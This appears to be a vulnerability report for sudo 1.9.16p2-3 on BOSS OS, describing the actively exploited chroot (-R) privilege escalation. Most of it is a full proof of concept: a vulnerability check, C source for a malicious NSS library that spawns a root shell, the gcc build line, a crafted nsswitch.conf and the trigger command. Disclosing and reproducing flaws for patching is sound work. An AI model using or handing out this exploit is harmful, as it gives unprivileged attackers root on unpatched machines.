BOSS OS: sudo 1.9.16p2-3 — version is in the vulnerable range (1.9.14–1.9.17) and no security-update exists on the BOSS repo. CVSS 9.3 (NVD) | CISA KEV — actively exploited in the wild. Root Cause In sudo ≥1.9.14, when -R/--chroot is given, sudo resolves paths via chroot() before finishing sudoers evaluation. An attacker can place a malicious /etc/nsswitch.conf + shared library inside a controlled directory, and sudo's NSS loader will dlopen() it as root — bypassing all sudoers restrictions. Reproduction Steps

1. Check if sudo is vulnerable sudo -R /nonexistent id

Vulnerable: "sudo: /nonexistent: No such file or directory"

Patched: "[sudo] password for ..."

"sudo: you are not permitted to use the -R option with /nonexistent"

2. Create the malicious NSS module mkdir -p /tmp/exploit/etc /tmp/exploit/lib // /tmp/exploit/lib.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h>

void _init(void) attribute((constructor)); void _init(void) { if (geteuid() == 0) { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } } gcc -shared -fPIC -o /tmp/exploit/lib/libnss_woot.so.2 /tmp/exploit/lib.c 3. Craft nsswitch.conf cat > /tmp/exploit/etc/nsswitch.conf << 'EOF' passwd: woot shadow: woot group: woot EOF 4. Trigger the exploit sudo -R /tmp/exploit id